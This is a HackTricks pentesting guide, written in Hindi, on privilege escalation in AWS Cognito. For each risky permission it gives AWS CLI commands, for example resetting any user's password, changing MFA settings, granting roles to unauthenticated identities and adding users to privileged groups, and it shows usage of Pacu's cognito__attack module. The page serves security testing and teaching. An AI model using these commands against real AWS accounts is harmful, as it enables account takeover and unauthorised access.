AWS - Cognito Privesc

Reading time: 14 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cognito

Cognito के बारे में अधिक जानकारी के लिए देखें:

AWS - Cognito Enum

Identity Pool से credentials एकत्र करना

क्योंकि Cognito दोनों authenticated और unauthenticated users को IAM role credentials दे सकता है, अगर आप किसी application का Identity Pool ID (जो आमतौर पर उसमे hardcoded होता है) ढूंढ लें तो आप नए credentials प्राप्त कर सकते हैं और इस तरह privesc हासिल कर सकते हैं (एक ऐसे AWS खाते के अंदर जहाँ शायद आपके पास पहले कोई credential भी नहीं था)।

अधिक जानकारी के लिए यह पेज देखें.

Potential Impact: unauth users से जुड़े services role पर सीधे privesc (और सम्भतः auth users से जुड़े role पर भी)।

cognito-identity:SetIdentityPoolRoles, iam:PassRole

इस permission के साथ आप cognito app के authenticated/unauthenticated users को grant any cognito role कर सकते हैं।

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

यदि cognito app पर unauthenticated users सक्षम नहीं हैं तो इसे सक्षम करने के लिए आपको cognito-identity:UpdateIdentityPool अनुमति की भी आवश्यकता हो सकती है।

संभावित प्रभाव: किसी भी cognito role पर सीधा privesc।

cognito-identity:update-identity-pool

इस अनुमति वाला एक attacker उदाहरण के लिए अपने नियंत्रण में एक Cognito User Pool या किसी अन्य identity provider सेट कर सकता है जहाँ वह लॉगिन कर सके — यह इस Cognito Identity Pool तक पहुँचने का एक तरीका बन सकता है। फिर, बस उस user provider में login करने से उसे Identity Pool में कॉन्फ़िगर किया गया authenticated role एक्सेस करने की अनुमति मिल जाएगी

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

यह भी संभव है कि आप इस अनुमति का दुरुपयोग करके basic auth की अनुमति दे सकें:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: identity pool के अंदर configured authenticated IAM role का समझौता होना।

cognito-idp:AdminAddUserToGroup

यह अनुमति add a Cognito user to a Cognito group करने की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास better privileges या different IAM roles हों:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

संभावित प्रभाव: Privesc to other Cognito groups and IAM roles attached to User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

इन permissions वाले attacker create/update groups कर सकता है जिनमें every IAM role that can be used by a compromised Cognito Identity Provider शामिल हों, और compromised user को उस group का सदस्य बना सकता है, जिससे वह उन सभी roles तक access प्राप्त कर सके:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

संभावित प्रभाव: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

यह अनुमति किसी साइनअप को सत्यापित करने की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito applications में साइन इन कर सकता है; यदि यह वैसा ही छोड़ दिया गया हो, तो एक उपयोगकर्ता किसी भी जानकारी के साथ एक खाता बना सकता है और इस अनुमति का उपयोग करके उसे सत्यापित कर सकता है।

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potential Impact: यदि आप एक नया user रजिस्टर कर सकते हैं तो authenticated users के लिए identity pool IAM role तक indirect privesc हो सकता है। किसी भी account की पुष्टि (confirm) करने में सक्षम होने से अन्य app functionalities पर भी indirect privesc हो सकता है।

cognito-idp:AdminCreateUser

यह permission हमलावर को user pool के अंदर एक नया user बनाने की अनुमति देगा। नया user enabled के रूप में बनाया जाता है, लेकिन उसे अपना password बदलना होगा।

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

संभावित प्रभाव: identity pool IAM role for authenticated users पर direct privesc। अन्य app कार्यक्षमताओं में अप्रत्यक्ष privesc, जिससे किसी भी user को create करने में सक्षम होना

cognito-idp:AdminEnableUser

यह permissions एक बहुत ही edge-case परिदृश्य में मदद कर सकता है जहाँ attacker को किसी disabled user के credentials मिल गए हों और उसे इसे फिर से सक्षम करना आवश्यक हो।

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

संभावित प्रभाव: Indirect privesc to the identity pool IAM role for authenticated users और उपयोगकर्ता की permissions तक, यदि हमलावर के पास किसी निष्क्रिय उपयोगकर्ता के credentials हों।

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

यह अनुमति method ADMIN_USER_PASSWORD_AUTH** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए दिए गए लिंक को देखें।

cognito-idp:AdminSetUserPassword

यह अनुमति हमलावर को किसी भी उपयोगकर्ता का पासवर्ड बदलने की अनुमति देगी, जिससे वह (यदि उस उपयोगकर्ता पर MFA सक्षम नहीं है) किसी भी उपयोगकर्ता के रूप में प्रस्तुत हो सकेगा।

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potential Impact: किसी भी user पर संभावित direct privesc — जिससे प्रत्येक user के सदस्य सभी groups तक पहुँच और Identity Pool authenticated IAM role तक पहुँच मिल सकती है।

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: एक attacker संभवतः इस permission का दुरुपयोग कर सकता है ताकि अपनी नियंत्रण में मोबाइल फोन को SMS MFA of a user के रूप में सेट कर दे।

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: पहले वाले की तरह, यह permission उपयोगकर्ता की MFA प्राथमिकताएँ सेट करके MFA सुरक्षा को bypass करने के लिए उपयोग किया जा सकता है।

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: पिछले वाले की तरह, यह permission user pool की MFA preferences सेट करने के लिए इस्तेमाल की जा सकती है ताकि MFA protection को bypass किया जा सके।

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: यह भी संभव है कि user pool को अपडेट करके MFA policy बदली जाए। Check cli here.

Potential Impact: आक्रमणकर्ता जिन users के credentials जानता है उन किसी भी user के लिए अप्रत्यक्ष privesc संभव हो सकता है; यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है।

cognito-idp:AdminUpdateUserAttributes

इस permission वाले attacker अपने नियंत्रण वाले किसी user का email, phone number या कोई अन्य attribute बदलकर अंतर्निहित application में अधिक privileges प्राप्त करने की कोशिश कर सकता है.
यह email या phone number बदलने और उसे verified के रूप में सेट करने की अनुमति देता है.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potential Impact: Cognito User Pool का उपयोग करने वाले अंतर्निहित एप्लिकेशन में उपयोगकर्ता गुणों के आधार पर अधिकार देने वाली संभावित अप्रत्यक्ष privesc।

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

इस अनुमति वाले हमलावर पहले से मौजूद pool clients की तुलना में कम प्रतिबंधित एक नया User Pool Client बना सकता है। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार की authenticate विधि की अनुमति दे सकता है, किसी secret की आवश्यकता न रखता हो सकता है, token revocation disabled हो सकता है, tokens को लंबी अवधि के लिए वैध रहने दिया जा सकता है...

इसी तरह, अगर नया क्लाइंट बनाने की बजाय किसी मौजूदा क्लाइंट में संशोधन किया जाए तो भी यही संभव है।

आप command line (या update one) में सभी विकल्प देख सकते हैं, जाँच करें!

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potential Impact: Identity Pool द्वारा अधिकृत user (जो User Pool द्वारा उपयोग होता है) के लिए संभावित अप्रत्यक्ष privesc — एक नया client बनाकर सुरक्षा उपायों को ढीला करने से attacker उस user के रूप में login कर सकता है जिसे उसने बनाया था।

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

An attacker इस permission का दुरुपयोग करके नए users वाले csv अपलोड करके users बना सकता है।

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(यदि आप एक नया import job बनाते हैं तो आपको iam passrole permission की भी आवश्यकता हो सकती है, मैंने अभी तक इसका परीक्षण नहीं किया है)।

संभावित प्रभाव: प्रमाणीकृत उपयोगकर्ताओं के लिए identity pool IAM role तक direct privesc। अन्य app कार्यक्षमताओं को किसी भी user को create करने में सक्षम बनाने के लिए indirect privesc।

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

एक attacker नया identity provider बना सकता है ताकि वह इस provider के माध्यम से login कर सके।

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: प्रमाणिक उपयोगकर्ताओं के लिए identity pool IAM role पर सीधे privesc। अनुप्रयोग की अन्य कार्यक्षमताओं पर अप्रत्यक्ष privesc जिससे किसी भी user को बनाया जा सके।

cognito-sync:* विश्लेषण

यह Cognito Identity Pools के roles में डिफ़ॉल्ट रूप से बहुत सामान्य permission है। भले ही permissions में wildcard हमेशा खराब दिखता है (खासतौर पर AWS से आने पर), दिए गए permissions हमलावर के दृष्टिकोण से बहुत उपयोगी नहीं हैं।

यह permission Identity Pools की उपयोग जानकारी और Identity Pools के अंदर Identity IDs पढ़ने की अनुमति देता है (जो संवेदनशील जानकारी नहीं है).
Identity IDs पर Datasets असाइन किए हो सकते हैं, जो sessions की जानकारी होते हैं (AWS इसे एक saved game की तरह परिभाषित करता है)। संभव है कि इनमें किसी प्रकार की संवेदनशील जानकारी हो (पर संभावना काफी कम है)। इस जानकारी तक कैसे पहुँचें, वह आप enumeration page में पाएंगे।

एक हमलावर इन permissions का उपयोग करके इन datasets पर परिवर्तन प्रकाशित करने वाले किसी Cognito stream में स्वयं को enroll कर सकता है या cognito events पर trigger होने वाले किसी lambda का उपयोग कर सकता है। मैंने इसे उपयोग में आते नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की उम्मीद नहीं करूँगा, पर यह असंभव नहीं है।

Automatic Tools

  • Pacu, the AWS exploitation framework, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो एक account में सभी Cognito assets की enumeration स्वचालित करते हैं और कमजोर configurations, access control के लिए उपयोग किए गए user attributes आदि को चिन्हित करते हैं, और साथ ही user creation (including MFA support) और modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens आदि पर आधारित privilege escalation को भी स्वचालित करते हैं।

For a description of the modules' functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Usage

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

नमूना cognito__enum उपयोग — वर्तमान AWS अकाउंट में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users, आदि एकत्र करने के लिए:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI टूल है python में जो Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है।

इंस्टॉलेशन

bash
$ pip install cognito-scanner

उपयोग

bash
$ cognito-scanner --help

अधिक जानकारी के लिए देखें https://github.com/padok-team/cognito-scanner

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें